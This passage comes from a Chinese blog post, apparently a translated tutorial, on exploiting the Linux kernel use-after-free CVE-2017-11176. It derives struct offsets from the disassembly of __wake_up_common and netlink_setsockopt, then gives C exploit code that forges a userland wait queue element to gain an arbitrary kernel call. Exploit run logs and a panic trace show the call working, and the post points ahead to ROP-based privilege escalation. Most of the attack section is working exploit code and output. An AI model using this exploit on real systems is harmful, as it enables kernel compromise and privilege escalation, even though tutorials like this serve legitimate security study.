即我们将会重写wait_queue_head_t中的next和prev参数(等待参数),让他指向用户态。又一次,等待队列参数curr会在用户空间。

因为他将会指向用户空间,我们会控制等待队列的参数内容,所以任意调用。无论如__wake_up_common()造成很多挑战。

首先,我们需要处理list_for_each_entry_safe()宏

#define list_for_each_entry_safe(pos, n, head, member)          \
    for (pos = list_first_entry(head, typeof(*pos), member),    \
        n = list_next_entry(pos, member);           \
         &pos->member != (head);                    \
         pos = n, n = list_next_entry(n, member))

因为双向循环列表是环型的,他以为这等待列表的最后一个参数会指向列表头(&nlk->wait)。否则, list_for_each_entry()宏会不确定循环,最后有一个错误的返回参数。我们需要避免他。

幸运的,如果我们能到达中断声明,我们就可以停止循环[5],他是可到达的如果:

  1. 任意调用函数返回一个非零值而且
  2. 在我们的用户空间等待队列元素中设置了WQ_FLAG_EXCLUSIVE位
  3. nr_exclusive 到达0

nr_exclusive参数被设置为1,在_wake_up_common()的调用时。即他被重新设置为0在第一次调用之后。设置WQ_FLAG_EXCLUSIVE 时很简单的,因为我们控制用户空间等待队列的参数。最后,关于任意返回值的调用函数会在part4中考虑。目前,我们将会假设我们调用一个gadget但会一个非0的值。在这个文章中,我们将仅仅调用panic(),这个函数从不返回值,而且打印一个很好的堆栈跟踪(我们可以验证exp的成功)。

下一步,因为这是 list_for_each_entry()的安全版本,这意味着第二个元素将在任意调用原语前被取消引用。

即,我们将会需要去设置恰当的值在用户空间等待队列的参数next 和prev 字段。因为我们不知道&nlk->wait的地址(假设dmesg无法访问 ),但是有办法停止循环,我们将仅仅让他指向一个假的下一个等待队列参数。

WARRING:假的下一个参数必须是可读的,不然内核会因为返回错误参数crash()(缺页中断)。

在这一节中我们看到next和prev字段的值应该是什么在再分配netlink_sock对象(指向我们用户空间等待队列)。下一步,我们看到了用户空间等待队列参数实现任意调用原语和正确的跳出list_for_each_entry_safe()的先决条件。现在是时候去实行他了。

6-5 找到偏移:

就像我们再再分配检查做的一样,我们将需要去拆解 __wake_up_common()的代码去发现各种偏移。

首先让我们找到他的地址

$ grep "__wake_up_common" System.map-2.6.32 
ffffffff810618b0 t __wake_up_common

阅读ABI, __wake_up_common()有5个参数:
ps:ABI是什么见 https://www.cnblogs.com/DragonStart/p/7524995.html

  • rdi: wait_queue_head_t *q
  • rsi: unsigned int mode
  • rdx: int nr_exclusive
  • rcx: int wake_flags
  • r8 : void *key

函数开始以序言开头,然后将一些数据保存在堆栈上(空一些寄存器出来)。

ffffffff810618c6:       89 75 cc                mov    DWORD PTR [rbp-0x34],esi // save 'mode' in the stack
ffffffff810618c9:       89 55 c8                mov    DWORD PTR [rbp-0x38],edx // save 'nr_exclusive' in the stack

然后,这是list_for_each_entry_safe()宏的初始化:

ffffffff810618cc:       4c 8d 6f 08             lea    r13,[rdi+0x8]            // store wait list head in R13
ffffffff810618d0:       48 8b 57 08             mov    rdx,QWORD PTR [rdi+0x8]  // pos = list_first_entry()
ffffffff810618d4:       41 89 cf                mov    r15d,ecx                 // store "wake_flags" in R15
ffffffff810618d7:       4d 89 c6                mov    r14,r8                   // store "key" in R14
ffffffff810618da:       48 8d 42 e8             lea    rax,[rdx-0x18]           // retrieve "curr" from "task_list"
ffffffff810618de:       49 39 d5                cmp    r13,rdx                  // test "pos != wait_head"
ffffffff810618e1:       48 8b 58 18             mov    rbx,QWORD PTR [rax+0x18] // save "task_list" in RBX
ffffffff810618e5:       74 3f                   je     0xffffffff81061926       // jump to exit
ffffffff810618e7:       48 83 eb 18             sub    rbx,0x18                 // RBX: current element
ffffffff810618eb:       eb 0a                   jmp    0xffffffff810618f7       // start looping!
ffffffff810618ed:       0f 1f 00                nop    DWORD PTR [rax]

代码开始于更新curr指针(忽视整个第一次循环)然后,循环自己的核心。

ffffffff810618f0:       48 89 d8                mov    rax,rbx                  // set "currr" in RAX
ffffffff810618f3:       48 8d 5a e8             lea    rbx,[rdx-0x18]           // prepare "next" element in RBX
ffffffff810618f7:       44 8b 20                mov    r12d,DWORD PTR [rax]     // "flags = curr->flags"
ffffffff810618fa:       4c 89 f1                mov    rcx,r14                  // 4th argument "key"
ffffffff810618fd:       44 89 fa                mov    edx,r15d                 // 3nd argument "wake_flags"
ffffffff81061900:       8b 75 cc                mov    esi,DWORD PTR [rbp-0x34] // 2nd argument "mode"
ffffffff81061903:       48 89 c7                mov    rdi,rax                  // 1st argument "curr"
ffffffff81061906:       ff 50 10                call   QWORD PTR [rax+0x10]     // ARBITRARY CALL PRIMITIVE

对if()的每个语句求值,来确定他是不是应该中断。

ffffffff81061909:       85 c0                   test   eax,eax                  // test "curr->func()" return code
ffffffff8106190b:       74 0c                   je     0xffffffff81061919       // goto next element
ffffffff8106190d:       41 83 e4 01             and    r12d,0x1                 // test "flags & WQ_FLAG_EXCLUSIVE"
ffffffff81061911:       74 06                   je     0xffffffff81061919       // goto next element
ffffffff81061913:       83 6d c8 01             sub    DWORD PTR [rbp-0x38],0x1 // decrement "nr_exclusive"
ffffffff81061917:       74 0d                   je     0xffffffff81061926       // "break" statement

迭代list_for_each_entry_safe(),如果成功的话返回跳转。

ffffffff81061919:       48 8d 43 18             lea    rax,[rbx+0x18]           // "pos = n"
ffffffff8106191d:       48 8b 53 18             mov    rdx,QWORD PTR [rbx+0x18] // "n = list_next_entry()"
ffffffff81061921:       49 39 c5                cmp    r13,rax                  // compare to wait queue head
ffffffff81061924:       75 ca                   jne    0xffffffff810618f0       // loop back (next element)

即,等待队列的参数偏移是:

struct __wait_queue {
    unsigned int flags;               // <----- offset = 0x00 (padded)
#define WQ_FLAG_EXCLUSIVE   0x01
    void *private;                    // <----- offset = 0x08
    wait_queue_func_t func;           // <----- offset = 0x10
    struct list_head task_list;       // <----- offset = 0x18
};

作为补充,我们知道task_list参数在wait_queue_head_t中的偏移为0x18。

这是很容易预料的,但是在汇编的层面上去知道哪里执行了确切的任意代码执行调用(0xffffffff81061906)是很重要的。这将会在调试的时候很方便。作为补充,我们将在part4中强制规定各个寄存器的状态。

下一步,去发现struct netlink_sock中wait 参数的地址。我们可以在netlink_setsockopt()检索他,因为调用了wake_up_interruptible():

static int netlink_setsockopt(struct socket *sock, int level, int optname,
                  char __user *optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    unsigned int val = 0;
    int err;

  // ... cut ...

    case NETLINK_NO_ENOBUFS:
        if (val) {
            nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
            clear_bit(0, &nlk->state);
            wake_up_interruptible(&nlk->wait);    // <---- first arg has our offset!
        } else
            nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
        err = 0;
        break;

  // ... cut ...
}

NOTE:在先前的节中,我们知道group参数是在偏移量0x2a0。基于结构,我们能预测他的偏移应该和0x2b0很像。但是我们需要去验证他。有时候他不是很显而易见。

函数netlink_setsockopt()是比 __wake_up_common()大的。如果你没有一个像ida一样的反编译程序,可能会很难去定位函数的结束位置。无论如何,我们不需要去反编译整个程序。我们只需要定位调用wake_up_interruptible()宏,他触发了__wake_up()。让我们来找到他的调用。

$ egrep "netlink_setsockopt| __wake_up$" System.map-2.6.32 
ffffffff81066560 T __wake_up
ffffffff814b8090 t netlink_setsockopt
即:
ffffffff814b81a0:       41 83 8c 24 94 02 00    or     DWORD PTR [r12+0x294],0x8    // nlk->flags |= NETLINK_RECV_NO_ENOBUFFS
ffffffff814b81a7:       00 08 
ffffffff814b81a9:       f0 41 80 a4 24 a8 02    lock and BYTE PTR [r12+0x2a8],0xfe  // clear_bit()
ffffffff814b81b0:       00 00 fe 
ffffffff814b81b3:       49 8d bc 24 b0 02 00    lea    rdi,[r12+0x2b0]              // 1st arg = &nlk->wait
ffffffff814b81ba:       00 
ffffffff814b81bb:       31 c9                   xor    ecx,ecx                      // 4th arg = NULL (key)
ffffffff814b81bd:       ba 01 00 00 00          mov    edx,0x1                      // 3nd arg = 1 (nr_exclusive)
ffffffff814b81c2:       be 01 00 00 00          mov    esi,0x1                      // 2nd arg = TASK_INTERRUPTIBLE
ffffffff814b81c7:       e8 94 e3 ba ff          call   0xffffffff81066560           // call __wake_up()
ffffffff814b81cc:       31 c0                   xor    eax,eax                      // err = 0
ffffffff814b81ce:       e9 e9 fe ff ff          jmp    0xffffffff814b80bc           // jump to exit

我们的猜测是对的,偏移是0x2b0。

好的,如此依赖我们知道了wait 在netlink_sock 数据结构中的偏移和一个等待队列参数的布局。作为补充,我们准确的知道了任意调用原语在哪里触发(减轻调试)。让我们模仿内核数据结构,然后填充再分配数据。

6-6 模仿内核数据结构:

用硬编码偏移量开发会很快导致exp代码不可读,模仿内核数据节后经常是好的。为了去检查我们没有做错任何事情,我们修改MAYBE_BUILD_BUG_ON 宏去创建一个static_assert 宏(编译期间的检查)。
ps:static_assert静态断言见https://www.cnblogs.com/lvdongjie/p/4489835.html

#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))

如果条件正确,他将会申明一个大小为负数的数组来触发编译错误。漂亮而且方便。模仿简单的数据结构很简单,你只需要像内核那么申明他们:

// target specific offset
#define NLK_PID_OFFSET            0x288
#define NLK_GROUPS_OFFSET         0x2a0
#define NLK_WAIT_OFFSET           0x2b0
#define WQ_HEAD_TASK_LIST_OFFSET  0x8
#define WQ_ELMT_FUNC_OFFSET       0x10
#define WQ_ELMT_TASK_LIST_OFFSET  0x18

struct list_head
{
  struct list_head *next, *prev;
};

struct wait_queue_head
{
  int slock;
  struct list_head task_list;
};

typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);

struct wait_queue
{
  unsigned int flags;
#define WQ_FLAG_EXCLUSIVE 0x01
  void *private;
  wait_queue_func_t func;
  struct list_head task_list;
};

这就是了!

在另一方面,如果你喜欢模仿netlink_sock,你需要插入一些padding去有一些修正的布局,或者其他的什么,重新实现所有的嵌入结构。。。我们在这儿不会这么去做,我们这儿只想应用"wait"、“pid”、"group"参数(用于重新分配检查)。

6-7 完成再分配数据

好了,现在我们有我们自己的数据结构,让我们全局的编写用户空间的等待队列参数和假的下一个参数。

static volatile struct wait_queue g_uland_wq_elt;
static volatile struct list_head  g_fake_next_elt;

把再分配数据完成:

#define PANIC_ADDR ((void*) 0xffffffff81553684)

static int init_realloc_data(void)
{
  struct cmsghdr *first;
  int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
  void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
  struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET];

  memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));

  // necessary to pass checks in __scm_send()
  first = (struct cmsghdr*) &g_realloc_data;
  first->cmsg_len = sizeof(g_realloc_data);
  first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
  first->cmsg_type = 1; // <---- ARBITRARY VALUE

  // used by reallocation checker
  *pid = MAGIC_NL_PID;
  *groups = MAGIC_NL_GROUPS;

  // the first element in nlk's wait queue is our userland element (task_list field!)
  BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);
  nlk_wait->slock = 0;
  nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt.task_list;
  nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt.task_list;

  // initialise the "fake" second element (because of list_for_each_entry_safe())
  g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself
  g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself

  // initialise the userland wait queue element
  BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
  BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
  g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
  g_uland_wq_elt.private = NULL; // unused
  g_uland_wq_elt.func = (wait_queue_func_t) PANIC_ADDR; // <----- arbitrary call! 
  g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;
  g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;
  printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);
  printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);

  return 0;
}

看看这样是这么比直接硬编码要不容易出错?

在分配数据布局变成:
在这里插入图片描述
ps:稍微总结一下。

  • 当前的netlink_sock调用setsockopt(),需要伪造自己的wait字段主要是task_list(两个struct
    wait_queue_head),但是当setsockopt()实际执行的时候需要调用struct wait_queue。
  • 而且每次遍历整个双向循环链表时会调用其中的func字段函数。
  • 也就是说其实同一个双向链表的节点指针分别被存于两个地方,netlink_sock中的是简化版的,真正遍历时用到的是struct wait_queue结构。所以两者都要构造。

好的,我们现在可以完成再分配定位。 😃

6-8 触发任意调用原语

最后,我们需要从主线程去触发任意调用原语。由于我们在part 2就知道了,接下来的代码时很简单的。

int main(void)
{
  // ... cut ...

  printf("[+] reallocation succeed! Have fun :-)\n");

  // trigger the arbitrary call primitive
  val = 3535; // need to be different than zero
  if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
  {
    perror("[-] setsockopt");
    goto fail;
  }

  printf("[ ] are we still alive ?\n");
  PRESS_KEY();

  // ... cut ...
}

6-9 exp结果:

是时候去启动exp,看看他是否工作。因为内核crash,你可能有时间去观察命令行界面的输出在你的实机上。强烈推荐用netconsole 网络控制台!

让我们跑exp:

[ ] -={ CVE-2017-11176 Exploit }=-
[+] successfully migrated to CPU#0
[ ] optmem_max = 20480
[+] can use the 'ancillary data buffer' reallocation gadget!
[+] g_uland_wq_elt addr = 0x602820
[+] g_uland_wq_elt.func = 0xffffffff81553684
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 300 reallocation threads ready!
[+] reallocation ready!
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 603, recv_fd = 604)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 604
[+] netlink fd duplicated (unblock_fd=603, sock_fd2=605)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 604 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 605 fd
[ ][unblock] unblocking now
[+] mq_notify succeed

NOTE:我们没有看到再分配成功的字符串,因为内核在他出现在控制台之前就carsh了(无论如何他被缓冲了)。

netconsole 网络控制台的结果:

[  213.352742] Freeing alive netlink socket ffff88001bddb400
[  218.355229] Kernel panic - not syncing: ^A
[  218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32
[  218.355583] Call Trace:
[  218.355689]  [<ffffffff8155372b>] ? panic+0xa7/0x179
[  218.355927]  [<ffffffff810665b3>] ? __wake_up+0x53/0x70
[  218.356045]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[  218.356156]  [<ffffffff810665a8>] ? __wake_up+0x48/0x70
[  218.356310]  [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
[  218.356460]  [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
[  218.356622]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b

胜利,我们成功的从netlink_setsockopt()调用了panic()。

我们现在可以控制内核的执行流了。任意调用攻击成功了。😃

7.总结

哇。。。这真的很长!

在这个文章我们看到了很多东西。首先,我们介绍了集中在slab上的内存分配子系统。作为补充,我们了一个关键的数据结构((list_head))几乎在内核所有地方用到像是container_of()宏。

第二,我们看了UAF漏洞是什么和一般的利用策略即linux内核的类型混淆。我们强调了需要利用他的一些普遍信息,并且看到KASAN可以自动化的完成这个任务。我们为我们特殊的漏洞收集信息,展示了一些方法去静态或者动态找到cache对象大小 (pahole, /proc/slabinfo, …)。

第三,我们讲述了怎么去使用知名的“辅助数据缓冲”gadget(sendmsg()),去实现linux内核的再分配内存,并且知道了什么是可控的,怎么使用他去再分配(几乎)任意的数据。这个实现展示了两种最小化再分配失败的方法(cpumask and heap spraying堆喷射)。

最后,我们展示了我们的UAF原语位置(the primitive gates)。我们用一个来检查再分配状态(不可控读)和另一个来获得任意调用(来自等待队列)。这个实现模仿了内核数据结构和我们提取目标特定的偏移量。再最后,现在的exp可以调用panic(),因此我们可以控制内核执行流。

在下一篇(最后)的文章,我们将会看到在,怎么样去使用任意调用原语去覆盖ring-0通过stcak pivot和ROP链。不像是用户空间的ROP攻击,内核版本有一些额外的要求和问题需要去思考(页面错误、SMEP保护),我们需要去客服这些。在最后,我们将会修复内核,让他在exp退出时不会crash,同时提升我们的权限。

希望你享受linux内核之旅,part4见。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:书香水墨 设计师:CSDN官方博客 返回首页
评论
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值